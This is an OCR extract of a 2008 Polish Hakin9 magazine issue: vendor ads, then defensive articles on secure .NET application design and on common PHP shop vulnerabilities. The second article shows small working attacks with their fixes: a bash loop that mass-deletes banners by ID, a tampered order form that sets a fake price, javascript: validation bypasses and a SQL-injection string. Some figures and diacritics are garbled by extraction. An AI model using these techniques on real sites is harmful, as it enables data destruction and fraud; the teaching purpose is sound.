informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

Zepter IT

Zepter IT to dynamicznie rozwijają-
ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.

www.zepterit.com

kontakt do nas:

katarzyna.juszczynska@software.com.pl, robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl działa na rynku usług hostin-
gowych od 2000 roku. Do naszych
zadowolonych Klientów z dumą
możemy zaliczyć wiele przedsiębiorstw
sektora MSP, instytucji oraz osób pry-
watnych. W ofercie Kei.pl znajdują się
pakiety hostingowe, a także usługi dla
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.

http://www.kei.pl

Sokra-NET

Działa od roku 2002, specjalizuje się w
szeroko pojętym bezpieczeństwie infor-
macji. Posiada wykwalifikowany spec-
jalnie do tych celów zespół inżynierów
którzy przy współpracy z naszymi kli-
entami maksymalizują bezpieczeństwo
danych, audytując i dobezpieczając.
Wykonujemy

testy

penetracyjne,

analizy kodów źródłowych, testy
wydajnościowe aplikacji i ich środowisk
teleinformatycznych. Wdrażamy polityki
bezpieczeństwa. Wspomagamy nas-
zych partnerów merytorycznie.

www.sokra.net

Sokra-NET

background image

56

OBRONA

HAKIN9 4/2008

P

rzy tworzeniu bezpiecznych programów
naley zwróci szczególn uwag na kilka
istotnych czynników wpywajcych na

ogólne bezpieczestwo rozwizania. Cay tekst
bazuje na przykadzie systemu Windows i
aplikacji pisanych na platformie .NET.
Problem bezpieczeństwa aplikacji jest bardzo
szeroko omawianym tematem w różnego
rodzaju opracowaniach. Niemniej jednak
warto kompleksowo przyjrzeć się tej kwestii.
Ogólnie przyjętym stwierdzeniem jest potrzeba
znalezienia złotego środka przy tworzeniu
poszczególnych rozwiązań. Należy bardzo
mocno wyważyć bezpieczeństwo z łatwością
użycia aplikacji przez użytkowników końcowych.
Każda aplikacja może być bardzo bezpieczna
i uwzględniać wszystkie możliwe aspekty
bezpieczeństwa, ale z drugiej strony będzie
wtedy na pewno niewygodna w obsłudze. Jeśli
przekształcimy to stwierdzenie, będziemy mogli
powiedzieć, że programy łatwe w użyciu są
aplikacjami niebezpiecznymi. No właśnie, ale
czy aby na pewno tak jest?

Bezpieczeństwo aplikacji

Bezpieczeństwo to kilka różnego rodzaju
warstw, a co za tym idzie – różne elementy
chroniące nasz system. Jeśli przyjrzymy się
Rysunkowi 1, zobaczymy, w jaki sposób można
umiejscowić takie warstwy.

Dane i aplikacja to oczywiście kluczowe

elementy układanki. Oczywiście oba z tych

ARTUR ŻARSKI

Z ARTYKUŁU

DOWIESZ SIĘ

o podstawowych zagadnieniach,

które mogą podnieść

bezpieczeństwo tworzenia

i wdrażania aplikacji.

CO POWINIENEŚ

WIEDZIEĆ

znać podstawową znajomość

C/C++,

pojęcia związane

z bezpieczeństwem danych.

elementów posiadają własne zabezpieczenia.
I tak, dane mogą być szyfrowane przy pomocy
EFS (Encrypted File System) oraz BitLocker’a.
Do zabezpieczeń może być użyty IRM oraz
RMS, a całość dodatkowo chroniona będzie
przy pomocy ACL w NTFS. Aplikacja natomiast
posiada własne zabezpieczenia dostępu,
dobrze zdefiniowaną architekturę, kod oraz
różnego rodzaju procedury walidacji.

Idąc dalej – nasz serwer (host) posiada

zabezpieczenia systemu operacyjnego. Ma
hasła dostępu do tegoż systemu operacyjnego.
Dodatkowo jest często aktualizowany
– wgrywane są zawsze najnowsze poprawki
bezpieczeństwa. Użytkownicy mają możliwość
użycia SmartCard z zainstalowanymi
certyfikatami.

Kolejny istotny element to cała infrastruktura

sieciowa. Może być zabezpieczona przy
pomocy IPSec czy IDS. Krańce sieci

Stopień trudności

Bezpieczne a

niebezpieczne

aplikacje

Aplikacje i ich bezpieczeństwo to nie tylko i wyłącznie proces

ich tworzenia, to również modelowanie zagrożeń, projektowanie

rozwiązania oraz architektura. Wszystkie te czynniki składają się

na stworzenie bezpiecznej lub niebezpiecznej aplikacji.

Listing 1.

Przykład przepełnienia bufora

int

ryzykowna1

(

char

*

pLancuch

)

{

int

nLicznik

=

0

;

char

pBufor

[

_MAX_PATH

]

;

strcpy

(

pBufor

,

pLancuch

);

for

(;

pBufor

;

pBufor

++)

if

(*

pBufor

==

'\\'

)

nLicznik

++;

return

nLicznik

;

}

background image

57

BEZPIECZNE A NIEBEZPIECZNE APLIKACJE

HAKIN9

4/2008

korporacyjnej (na rysunku granica sieci)
zabezpieczone są przy pomocy firewall’a,
a użytkownicy łączący się przy pomocy
VPN, zanim uzyskają dostęp do sieci,
przechodzą kwarantannę sprawdzającą
'poprawność' komputera. Mając serwer
oraz infrastrukturę pozostaje nam
zapewnienie fizycznego bezpieczeństwa
– czyli serwerownia ze strażnikami,
dobrze zamkniętymi drzwiami,
monitoringiem etc.

Ostatnim, ale jednym z

najważniejszych, elementem jest
świadomość użytkowników (prawników
firmy). Należy te osoby edukować, mówić
im, czym jest bezpieczeństwo, 'przestawiać'
na bezpieczne myślenie (np. stanowczo
eliminować żółte karteczki z zapisanym
hasłem, przyklejane pod biurkiem).

Wszystkie te elementy mogą

wydawać się oczywiste, niemniej jednak
bardzo często zdarza się, że krytyczne
aplikacje uruchamiane są 'tymczasowo'
pod biurkiem administratorów lub
programistów. Do tego wszystkiego
dochodzi jeszcze problem analogowo-
cyfrowy, w przypadku którego jedynym
punktem jest ostatni z wymienionych
wcześniej – a więc świadomość
zagrożeń (Rysunek 2 – źródło Internet).

Modelowanie zagrożeń

Modelowanie zagrożeń to rodzaj
analizy bezpieczeństwa, którego
celem jest zwiększenie sumarycznego
bezpieczeństwa aplikacji. Należy przy

tym pamiętać, że zagrożenie nie oznacza
słabego punktu. Na sumaryczne
bezpieczeństwo aplikacji składa się kilka
czynników: znalezienie luk infrastruktury,
ocena zagrożeń bezpieczeństwa czy
określenie środków zaradczych. Na
czym polegają poszczególne czynniki?
Jest to przykładowo analiza wszystkich
możliwych wejść do systemu, w
szczególności miejsc, w których z
zewnątrz dostarczane są dane – np.
API, gniazda, Web Service, pliki czy
dane wprowadzane bezpośrednio
przez użytkownika systemu. Następnie
sprawdzanie zasobów, czyli wszystko, co
może być potencjalnym źródłem ataku –
na przykład dane, pliki konfiguracyjne etc.
Modelowaniu podlega również poziom
uprzywilejowania, czyli role użytkownika
potrzebne do wejścia do systemu czy

uzyskania praw dostępu do zasobów, a
także sposób autoryzacji.

Istnieje kilka metod modelowania

zagrożeń, wśród nich technika STRIDE
(Spoofing, Tampering, Repudiation,
Information disclosure, Denial of service,
Elevation of privilege). Poszczególne
odpowiedniki rodzajów zagrożeń wraz z
przykładami przedstawia Tabela 1.

Do tego mamy jeszcze ocenę

zagrożeń DREAD (Damage Potential,
Reproducibility, Exploitability, Affected
Users, Discoverability), czyli kolejno:

• D – Możliwość zniszczeń,
• R – Powtarzalność,
• E – Możliwość wykorzystania,
• A – Użytkownicy, których dotyczy

problem,

• D – Możliwość wykrycia.

Rysunek 1.

Warstwy bezpieczeństwa

systemów

����

���������

��������������������

����

�������������

�����������������������

������������������������

�����������������

Tabela 1.

Techniki określania zagrożeń STRIDE

Fałszowanie

Fałszowanie wiadomości e-mail

Powtarzanie uwierzytelniania

Zniekształcanie

Zmiana danych podczas transmisji

Zmiana danych w bazie danych

Zaprzeczanie

Usunięcie istotnych danych i zaprzeczanie temu

Zakup produktu i zaprzeczanie temu

Ujawnianie informacji

Ujawnianie informacji w komunikatach o błędach

Ujawnianie kodu w witrynie sieci Web

Odmowa usługi

Zalewanie usługi sieci Web nieprawidłowymi żądaniami

Zalewanie sieci pakietami SYN

Podwyższanie uprawnień

Uzyskiwanie uprawnień administratora

Używanie zestawu w pamięci GAC do tworzenia konta

Tabela 2.

Analiza potencjalnych zagrożeń

Zagrożenie

D R

E

A

D Razem

Ocena

Napastnik uzyskuje poświadczenia

3

3

2

2

2

12

Wysoka

Wstrzyknięcie poleceń SQL

3

3

3

3

2

14

Wysoka

Tabela 3.

Przydatne przełączniki oraz dodatkowe biblioteki

Przełącznik/Biblioteka

Uwagi

/GS: Przepełnienie stosu

Skuteczność 100%

/GS: Przekierowanie wskaźnika, zmiana

wartości EBP

Skuteczność niska (chyba że trafi na adres

zwrotny)

RTC: stos niezerowy

Pomoc przy śledzeniu

PREfast: analizator kodu

Pożyteczny; dodatkowe ostrzeżenia

SAL:dodatkowe adnotacje (_deref, _ecount

…)

Duża skuteczność; wykrycie „losowych”

błędów; pomoc w analizie

Application Verifier

Dobry pomocnik testera

ACGP: rozrzucenie kodu w segmencie

Duża skuteczność; wykrycie „losowych”

błędów

background image

OBRONA

58

HAKIN9 4/2008

BEZPIECZNE A NIEBEZPIECZNE APLIKACJE

59

HAKIN9

4/2008

Do każdej z kategorii należy przypisać
odpowiednią wagę zagrożenia – np.
Wysokie (3), Średnie (2) oraz Niskie
(1). Analizując potencjalne zagrożenia
możemy określić jego ocenę. Przykład
znajduje się w Tabeli 2.

Proces modelowania zagrożeń został

opisany przez Microsoft już jakiś czas
temu i przedstawia się następująco:

• Zidentyfikować zasoby – czyli

określenie typów danych, które mogą
być interesujące dla napastników.

• Stworzyć przegląd architektury –

analiza komponentów pod względem
wejść aplikacji.

• Dekompozycja aplikacji – analiza

funkcji aplikacji (każdej z osobna) i
określenie ścieżek przepływu danych.

• Identyfikacja zagrożeń – określenie

potencjalnych błędów w aplikacji
oraz potencjalnych miejsc ataku.

• Dokumentacja zagrożeń – spisanie

wszystkich zagrożeń.

• Ocena poziomu zagrożenia

– określenie możliwości wykrycia
i wystąpienia poszczególnych
zagrożeń.

Wewnątrz firmy Microsoft stosowana
jest metodologia Security Development
Lifecycle. Wykorzystywana ona była
między innymi przy tworzeniu SQL
Server 2005, systemów Windows Vista
oraz Windows Server 2008. Zgodnie z
tą metodyką należy zwrócić uwagę na
pewne zasady:

• Okresowe OBOWIĄZKOWE szkolenia

z zakresu bezpieczeństwa dla
WSZYSTKICH zaangażowanych w
proces tworzenia aplikacji.

Doradca bezpieczeństwa dla

KAŻDEGO komponentu.

• Modelowanie zagrożeń jako część

procesu projektowego.

• Przeglądy bezpieczeństwa i

testowanie przewidziane w
harmonogramie projektu.

• Zdefiniowanie i stosowanie metryk

bezpieczeństwa dla zespołów
projektowych.

Trochę praktyki

Oprócz ogólnych elementów
bezpieczeństwa systemu
informatycznego, baczną uwagę należy
również zwrócić na sposób pisania
kodu naszej aplikacji. Warto zwrócić
uwagę na:

• Bezpieczeństwo w projektowaniu

i implementacji – jest to proces
kładący nacisk na bezpieczeństwo
oprogramowania, który również
podlega modelowaniu zagrożeń.
Szczególną uwagę należy
zwrócić na audyt kodu oraz testy
bezpieczeństwa.

• Bezpieczne wartości domyślne

– dzięki którym minimalizujemy
możliwy obszar sposobów ataku
(attack surface).

• Bezpieczna instalacja – warto

również zwrócić uwagę na ten

Rysunek 3.

Dekompozycja aplikacji

������

�����������

����

���������

�������

�����������

�����������

���������

�����

��

���������

�����������

������������

�������

����

������������

�������������

�����������

�����

Rysunek 2.

Problem analogowo-cyfrowy

background image

OBRONA

58

HAKIN9 4/2008

BEZPIECZNE A NIEBEZPIECZNE APLIKACJE

59

HAKIN9

4/2008

aspekt, aby wykorzystać mechanizmy
systemu operacyjnego i .NET
Framework (np. CASCode Access
Security).

Przykładów niebezpiecznego kodu
jest wiele – najbardziej popularnym
z nich jest przepełnienie bufora.
Jest to zazwyczaj główna przyczyna
problemów, spotykana najczęściej w
przypadku kodu natywnego (C/C++)
oraz API systemu operacyjnego.
Ogólnie rzecz ujmując, polega na
nadpisaniu „za dużym” parametrem
stosu lub sterty, przepełnienia licznika
czy też przekroczenia zakresu tablicy.
Stosowanie pewnej grupy dobrze
opisanych funkcji (do których można
zaliczyć strcpy, gets, scanf, sprintf, strcat
i inne) zwiększa ryzyko powstawania
przepełnień bufora, dlatego ich
stosowanie jest gorąco odradzane.
Przykład błędu przedstawiony jest na
Listingu 1.

Na Listingu 1 w kodzie od razu

widać słaby punkt — parametr pBufor
może zostać przepełniony, jeśli bufor
wskazywany przez pLancuch jest dłuższy
niż

_ MAX _ PATH

.

Można oczywiście wykryć część

tego typu problemów, wykorzystując
odpowiednie przełączniki kompilatora i
biblioteki przedstawione w Tabeli 3.

W przypadku kodu zarządzanego

mamy pewnego rodzaju automat
zabezpieczający przed przepełnieniem
bufora, wyjściem poza zakres tablicy
czy też nieprawidłowym kodem
wykonywalnym.

Gotowce

pomagające w pracy

Rozwiązaniem potencjalnych problemów
może być Enterprise Library stworzone
przez Microsoft przez grupę Patterns &
Practices (http://msdn2.microsoft.com/
en-us/library/aa480453.aspx
).

Enterprise Library to zestaw różnego

rodzaju bloków aplikacji (funkcjonalnych).
Bloki te są opisanymi gotowymi
rozwiązaniami oraz kawałkami kodu,
który należy tylko wstawić do własnej
aplikacji wg zaleceń bez konieczności
tworzenia własnych takich rozwiązań.
Wśród gotowych bloków możemy
znaleźć między innymi: Caching,
Cryptography, Data Access, Exception
Handling, Logging, Security, Validation,
Policy Injection. W naszym przypadku
istotne będą dwa bloki: Cryptography
Application Block oraz Validation
Application Block. Należy pamiętać,
że nie jest to rozwiązanie wszystkich
problemów, ale warto się mu przyjrzeć,
ponieważ jest po prostu pożyteczne dla
programistów.

Podsumowanie

Jak widać (i jak wiadomo), problem
bezpiecznych bądź niebezpiecznych
aplikacji jest nader złożony. Wyróżnić
można bardzo wiele aspektów tworzenia
bezpiecznych aplikacji, na które należy
zwrócić uwagę. Przede wszystkim są to:
dobrze zdefiniowany proces tworzenia
aplikacji, edukacja zespołu programistów,
zachowanie jakości kodu oraz stworzenie
bezpiecznej architektury.

Jednym z najistotniejszych punktów

tworzenia rozwiązania jest również
kodowanie. Dla przykładu bardzo
wiele funkcji z biblioteki języka C jest
potencjalnie niebezpiecznych np.:

gets

,

strcpy

,

strcat

,

sprintf(“%s”)

Warto zwrócić uwagę na środki
wspomagające tworzenie bezpiecznego
kodu, czyli przede wszystkim pozwalające
na automatyczny code review, statyczną
analizę kodu – np.

FxCop

. No i oczywiście

testy. Testy, testy i jeszcze raz testy na
występowanie różnych luk zabezpieczeń.

Artur Żarski

Jest pracownikiem firmy Microsoft. Na co dzień

zajmuje się m.in. tworzeniem rozwiązań w oparciu

o SQL Server w różnych aspektach – bazy

relacyjne, usługi integracyjne, usługi analityczne.

Jest certyfikowanym administratorem baz danych

(MCDBA).

Kontakt z autorem: arturz@microsoft.com

R

E

K

L

A

M

A

background image

60

OBRONA

HAKIN9 4/2008

N

apisałem ten tekst, ponieważ często
zdarza mi się oglądać sklepy
internetowe bądź strony tematyczne,

które stały się ofiarami ata ków hakerów. I to
wcale nie są ataki tzw. black hats (patrz Ramka
1) czy profesjonalnych złodziei nastawionych na
zysk z ukradzionych danych. Setki witryn padają
z powodu młodych ludzi, którzy z nudy bawią
się zabezpieczeniami stron. Czasem powodują
oni tylko małe zakłócenie w pracy serwisu,
jednak bywa i tak, że stronę trzeba zamknąć na
jakiś czas. Dodają oni jakiś zabawny komunikat,
a czasem nawet usuwają pewne dane z
dysku. Dlaczego te strony stają się tak łatwym
łupem? Moim zdaniem ze skąpstwa, bądź
po prostu z lenistwa. Lenistwa tych, którym
nie chce się jeszcze raz dokładnie przejrzeć
napisanego kodu pod kątem zabezpieczeń. A
ze skąpstwa tych, którzy woleli zaoszczędzić i
umieścić ogłoszenie na jednej z bezpłatnych
stron typu http://zlecenia.przez.net (oczywiście
nie mówię, że wszyscy, którzy odpisują tam
na ogłoszenia wykonują pracę nieporządnie
– aczkolwiek dość często stawkę obniżają
ludzie, którzy jednak nie znają się na rzeczy),
niż zapłacić – co prawda 10 razy więcej, ale
legalnej firmie, która porządnie wykona robotę.
Bowiem ostatnio na rynku usług internetowych
(konkretnie stron WWW) nastąpiła wielka
ekspansja małych firm oraz freelancerów,
których motto brzmi szybko i tanio, co – jak
wiadomo – rzadko idzie w parze z jakością.

JAKUB KAŁUŻNY

Z TEGO ARTYKUŁU

DOWIESZ SIĘ

jakie są podstawowe luki

w zabezpieczeniach aplikacji

webowych,

jak się obronić przed atakami

hakerów.

CO POWINIENEŚ

WIEDZIEĆ

podstawy PHP,

podstawy HTML,

podstawy składni shella

linuksowego.

Często zdarza się, że wykonawcy stron są
licealistami bądź studentami, którzy dorabiają
nielegalnie w Internecie. Tak więc docelowi
właściciele dość często wolą zaufać jakiejś
osobie, nawet bez większego portfolio, zlecić
jej wykonanie strony całkowicie na czarno, bez
umowy o dzieło.

Boom na e-shopping

Za przykład posłuży nam fikcyjny sklep
internetowy, od jakich ostatnio aż roi się w
polskim Internecie. Według mnie to już ostatnia
chwila na wejście w biznes. Niedługo będzie
ich po prostu za dużo, w związku z czym wielki
popyt na e-shopping rozłoży się na wiele
małych serwisików, które w końcu zaczną
plajtować. Sprawa wygląda dokładnie tak
samo, jak z rzeczywistymi sklepami. Mniejsi
handlowcy z trudem walczą o swoje parę
groszy, podczas gdy supermarkety zbierają
kokosy. Być może właśnie w tym problem z
nowymi, dziurawymi e-sklepami – każdy chce
się wbić w rynek, ale nie ma odpowiedniego
kapitału, więc np. zleca wykonanie strony
za marne pieniądze. Wracając do naszego
przykładu – strona funkcjonuje podobnie,
jak Allegro – użytkownik wystawia produkt,
a inni mogą go kupić. Ponadto właściciel
poprosił o zaimplementowanie systemu
banerów – za odpowiednią ilość złotówek
można wykupić pakiet reklam na stronie
(odnoszących się do produktów znajdujących

Stopień trudności

Robactwo

w kodzie

Zastanawiałeś się kiedyś, czy kod, który napisałeś, jest

nieskazitelnie czysty? Czy możesz użyć go na własnej stronie bez

obawy, że ktoś wykryje lukę i zaatakuje system? Bałeś się , że

sprzedasz klientowi skrypt, a jakaś osoba włamie się na stronę?

background image

61

BŁĘDY W APLIKACJACH PHP

HAKIN9

4/2008

się w bazie danych). Cały portal opiera
się na PHP i bazie MySQL. W kolejnej
części artykułu przedstawione zostaną
podstawowe błędy popełniane przez
niedoświadczonych programistów.

Tricki w URLu

Po pierwsze, koderzy mają tendencję
do nadużywania formularzy GET, co
prowadzi do stworzenia możliwości
prostego ataku poprzez modyfikację
adresu URL. Powiedzmy, że mamy konto
w sklepie i chcemy wykupić pakiet 1000
banerów. Możliwa jest opcja uploadu
własnego obrazka. Najpierw dodajemy
nasz baner, formularz wygląda tak, jak
pokazuje Rysunek 1.

Oczywiście, mamy możliwość

usunięcia tych, a dodania innych
obrazków. Gdy chcemy usunąć baner,
klikamy w odpowiedni link. W pasku
adresu widać http://adres.strony.pl/
banner.php?del=4333
. A więc teraz
dodajemy kolejny obrazek. O, ale co to?
Tym razem, gdy chcemy usuwać nasz
baner, jego ID to już

4335

– widocznie

ktoś międzyczasie dodał swój baner i
został on zapisany w bazie jako

4334

. A

gdyby tak wpisać w pasek adresu http:
//adres.strony.pl/banner.php?del=4334
.
Komunikat Twój baner (

ID: 4334

)

został usunięty potwierdza domysły
– programista nie wziął pod uwagę faktu,
że należy przed usunięciem baneru
sprawdzić, czy ID jego właściciela zgadza
się z identyfikatorem zalogowanego
użytkownika, przechowywanym
w superglobalnej zmiennej

$ _

SESSION['login']. 1:0

dla nas. Może

gdyby użyto formularza POST, nikt nie
pomyślałby, że należy tylko podmienić ID
w URLu? Bardzo złośliwym posunięciem
byłoby teraz usunięcie wszystkich
banerów. Przysporzy to sporo pracy
administratorom, żeby odtworzyć stronę,
zdenerwuje klientów, którzy – bądź
co bądź – zapłacili za reklamę, no i
oczywiście popsuje opinię sklepu oraz
właściciela. Wymagane narzędzia ataku?
Dowolna przeglądarka internetowa, a
jeśli banerów jest dużo, możemy napisać
krótki program, który zautomatyzuje
nasza pracę, np. w bashu linuksowym.
Spójrzmy na Listing 1.

Oczywiście obrona przed tego typu

atakiem jest trywialna – w kodzie PHP

strony wystarczy dodać tylko jeden
warunek, przedstawiony na Listingu 2.

Zadaniem pokazanej na listingu

funkcji user(ID) jest zwrócenie loginu
użytkownika, który jest właścicielem
banera o danym numerze ID.

Modyfikacja formularza

Drugim częstym błędem jest
przekazywanie niepotrzebnych
argumentów w formularzach. I tu już nie
ma różnicy, czy formularz jest typu GET,
czy POST (patrz Ramka 2). Tak więc

Listing 1.

Zmiana URLa strony w celu usunięcia banerów

#!/bin/bash

for

i

in

`seq 1 100000`

do

touch

$i

.tmp

links http://adresstrony/banner.php\?del\=

$i

>

$i

.tmp

echo „Baner

$i

usuniety”

done

exit 0

Listing 2.

Warunek sprawdzający, chroniący przed nieautoryzowanym usuwaniem

banerów

if

(

$_SESSION

[

'login'

]

==user

(

$_POST

[

'del'

])

{

// tu kod, który usuwa baner

}

Listing 3.

Kod źródłowy formularza zamawiania banerów

<

form action=”banner.php” method=”post”

>

Cena za 1 baner to 1 grosz.

<

br

>

Wybierz, jaki pakiet banerów chcesz kupić:

<

br

>

<

select name=”ile”

>

<

option

>

100

<

/option

>

<

option

>

1000

<

/option

>

<

option

>

5000

<

/option

>

<

option

>

10000

<

/option

>

<

option

>

20000

<

/option

>

<

option

>

100000

<

/option

>

<

/select

>

<

br

>

Cena, jaką zapłacisz, to:

<

br

>

<

input type=”text” name=”cena” disabled=”true”

>

<

/form

>

Rysunek 1.

Wygląd formularza w przeglądarce.

background image

OBRONA

62

HAKIN9 4/2008

BŁĘDY W APLIKACJACH PHP

63

HAKIN9

4/2008

– dodaliśmy już nasz obrazek, teraz czas
na wykupienie (oczywiście drogiego, a
jakżeby inaczej) pakietu reklam. W tabeli
MySQL prawdopodobnie przechowywane
są następujące dane – ID pakietu,
ilość wykupionych banerów, ilość już
wyświetlonych oraz cena. Kupując banery,
wypełniamy prosty formularz z jednym
polem, oznaczającym ilość wyświetleń
banerów, które chcemy umieścić na
stronie.

Spoglądamy w kod źródłowy pliku

(Listing 3.).

Z listy wybieramy ilość pakietów,

automatycznie poniżej w polu cena
wyświetla się koszt, jaki poniesiemy – do
jego wyświetlenia posłuży prosty kod
JavaScript (

document.forms[0].cena.

value=document.forms[0].ile.value
*cena _ za _ pakiet;

). Oczywiście, tego

pola nie można edytować, bez atrybutu

disabled=true

byłoby to zbyt proste.

Zastosujemy teraz trochę sprytniejszą
technikę. Kopiujemy źródło formularza,

wstawiamy na swój serwer i zmieniamy kod
w sposób przedstawiony na Listingu 4.

Oczywiście, zmodyfikowaliśmy

wartość atrybutu

action

na http:

//adresstrony/banner.php. W polu,
którego wartość jest oryginalnie
wyznaczana przy pomocy skryptu JS,
zmieniamy wartość na symboliczną
złotówkę. Warto usunąć także sam
skrypt JS, mógłby on zakłócić pracę tak
zmodyfikowanego kodu. Wypełniamy
formularz na naszym serwerze tak, jak
byśmy to zrobili poprzez stronę sklepu
i zaglądamy później na swoje wirtualne
konto, już w sklepie. Ponownie punkt dla
nas, programista przekazywał cenę w
tablicy

$ _ POST

, zamiast obliczać ją już

na serwerze, bazując na wartościach
pozostałych pól.

Obrona w najprostszym wypadku

polegałaby na dodaniu w skrypcie
akceptującym zamówienie banerów
warunku sprawdzającego, czy ilość
banerów pomnożona przez cenę

za pakiet daje wynik równy wartości
przekazanej w zmiennej cena (pokazuje
to Listing 5).

Javascript –

dodatek, nie podstawa!

Trzecia istotna kwestia – wykonywanie
ważnych operacji za pośrednictwem
kodu JavaScript może ułatwić atak. W
naszym sklepie dodajemy produkty,
rejestrujemy się bądź kupujemy banery.
Często w polach formularza należy
wpisać jakieś dane, zwykle określonego
typu. Załóżmy, że musimy podać numer
telefonu stacjonarnego w Polsce.
Wpisujemy go w postaci

KKXXXXXXX

,

gdzie

K

– to numer kierunkowy, a

X

– cyfra. Po wpisaniu ostatniej cyfry, gdy
pole zawiera 9 znaków, wykonywana jest
pewna funkcja JS, np.

CheckNumber(

document.forms[0].telefon.value
);

. Jeżeli pole nie zawiera samych cyfr,

funkcja ustawia zmienną

documents.forms[0].ok.value
(hidden)

na

0

(nie pozwoli ona przejść

dalej w formularzu), w przeciwnym
razie pozostawia kontrolki bez zmian i
wyświetla dla wiadomości użytkownika
obok pola zielonego ptaszka (OK) bądź
czerwony krzyżyk (błąd). Co można
tutaj zrobić? Patrzymy w kod źródłowy i
analizujemy linijki pokazane na Listingu 6.

Wpisujemy w formularzu błędny

numer. Kiedy pojawi się krzyżyk
– możemy po prostu wpisać w okno
przeglądarki (najlepiej Firefox, tam na
pewno działa) poprawny numer:

javascript:CheckNumber(123456789);

Innym sposobem jest obejście
sprawdzania poprzez wpisanie:

javascript:document.forms[0].ok.value=1;

Co to spowoduje? W obu przypadkach
efektem będzie ustawienie zmiennej
ok na 1, ponadto w drugim przypadku
nie pojawi się zielony ptaszek. Całość
pozwoli na wysłanie formularza z
fałszywym numerem telefonu. Z
pewnością bardziej interesujący będzie
praktyczny przykład. Załóżmy, że
chcemy zagrać w brydża na serwisie
kurnik.pl – niestety, akurat pokój, w
którym gra nasz przyjaciel, jest już

Listing 4.

Modyfikacja formularza POST

<

form action=”http://adresstrony/banner.php” method=”post”

>

Cena za 1 baner to 1 grosz.

<

br

>

Wybierz, jaki pakiet banerów chcesz kupić:

<

br

>

<

select name=”ile”

>

<

option

>

100

<

/option

>

<

option

>

1000

<

/option

>

<

option

>

5000

<

/option

>

<

option

>

10000

<

/option

>

<

option

>

20000

<

/option

>

<

option

>

100000

<

/option

>

<

/select

>

<

br

>

Cena, jaką zapłacisz, to:

<

br

>

<

input type=”text” name=”cena” disabled=”true” value=”1”

>

<

/form

>

Listing 5.

Warunek sprawdzający poprawność zmiennej cena

if

(

$_POST

[

'cena'

]

==

(

$_POST

[

'ile'

])

*

$cenazapakiet

)

{

// tu kod odpowiedzialny za dodanie baneru

}

Hakerów ze względu na etykę dzielimy na 3 grupy:

black hats: ludzie niedzielący się zdobytą wiedzą z innymi, nie publikują odkrytych luk, działają

najczęściej poza granicami prawa,

white hats : ludzie, którzy chętnie pomagają innym, o odkrytych lukach informują

administratorów, nie udostępniają bezpośrednio sposobu na włamanie, wśród nich często
można znaleźć informatyków, którzy zajmują się bezpieczeństwem IT,

grey hats : ludzie, których trudno jednoznacznie przypisać do którejś z powyższych grup.

background image

OBRONA

62

HAKIN9 4/2008

BŁĘDY W APLIKACJACH PHP

63

HAKIN9

4/2008

przepełniony i jego nazwa przestała być
aktywnym hiperłączem. Jaki problem
stanowi najechanie myszką na inny
pokój, skopiowanie do pasku adresu
kodu JavaScript i zmiana parametru
– nazwy pokoju? Nie zarzucam niczego
autorowi skryptu – jeżeli chcemy zagrać
z przyjacielem, możemy kulturalnie
otworzyć jego profil i wejść do pokoju,
w którym akurat jest. Bądź co bądź, jest
to jednak pewien sposób na obejście
blokady i przeciążenie serwera.

Jak się przed tym obronić? Unikajmy

pisania takich funkcji w JS. Podstawową
wadą skryptów JS jest oczywiście
jawność kodu, której pozbywamy się
używając PHP. Ponadto funkcji PHP
nie wywołamy z okna przeglądarki.
Kod pisany w JS nazywamy

client-

side

– wykonywany po stronie klienta

(czyli przeglądarki), natomiast kod
PHP –

server-side

– wykonywany

jest na serwerze, co znacznie utrudnia
znajdywanie luk.

Jeden

problem to nie problem

Problemy podczas rejestracji to dość
częste zjawisko. Bardzo łatwo można
uprzykrzyć życie administratorowi. Jeżeli
witryna nie wykorzystuje np. obrazka z
kodem weryfikującym, możemy napisać
bota (czasem wystarczy odpowiednią
ilość razy odpalić spreparowany
formularz), który zarejestruje fikcyjnych
użytkowników z nieprawidłowymi
adresami e-mail. Wynik jest łatwy do
przewidzenia: baza MySQL zapchana
tysiącami rekordów. Spowolnienie
działania skryptów. Na skrzynkę roota
trafiają setki maili od mailer-demona, że
listy do zarejestrowanych użytkowników
nie dochodzą. Co więcej, trudno takie
coś nazwać spamem – w końcu serwer
sam wysyła pocztę. Jak temu zapobiec?
Stworzenie obrazka zawierającego
kod weryfikujący, który trzeba podać
w formularzu oraz blokowanie kilku
rejestracji pod rząd z jednego adresu
IP powinny wystarczyć. Jeżeli haker
użyje programu OCR (ang. Optical
Character Recognition
), rozpoznającego
tekst zapisany w formie graficznej, albo
będzie zmieniał szybko IP, to już będzie
poważniejsza sprawa i obrona okaże się
znacznie trudniejsza.

SQL injection – standard

Często w portalach czy sklepach
udostępniamy funkcję Szukaj na stronie.
Oczywiście, skrypt ten przekazuje
zapytanie do bazy danych MySQL
i zwraca odpowiednie wyniki. Przy
połączeniach z bazą należy zwracać
szczególną uwagę na bezpieczeństwo.
Podstawowy błąd to umożliwienie
przeprowadzenia ataku tzw. SQL
Injection. Jeżeli pozwolimy na używanie
znaków typu '!@#$%^&*()~\/|=><.,;: , bardzo
prawdopodobne, że haker użyje ich do
ataku. Powiedzmy, że haker domyśla
się sposobu przerabiania pola Szukaj
na zapytanie do bazy i zamiast nazwa_
użytkownika wpisze:

nazwa_użytkownika”; SELECT * FROM
'users';

Skrypt działa prawdopodobnie tak:
wysyła zapytanie do bazy

SELECT

'users' WHERE nazwa LIKE

„[tu

skrypt kopiuje zawartość pola
szukaj];

, zapisuje je w jakiejś tablicy

i drukuje w odpowiedniej tabeli. Jeżeli
hakerowi się poszczęści, uzyskuje on

dane użytkowników i ich hasła. Dlaczego?
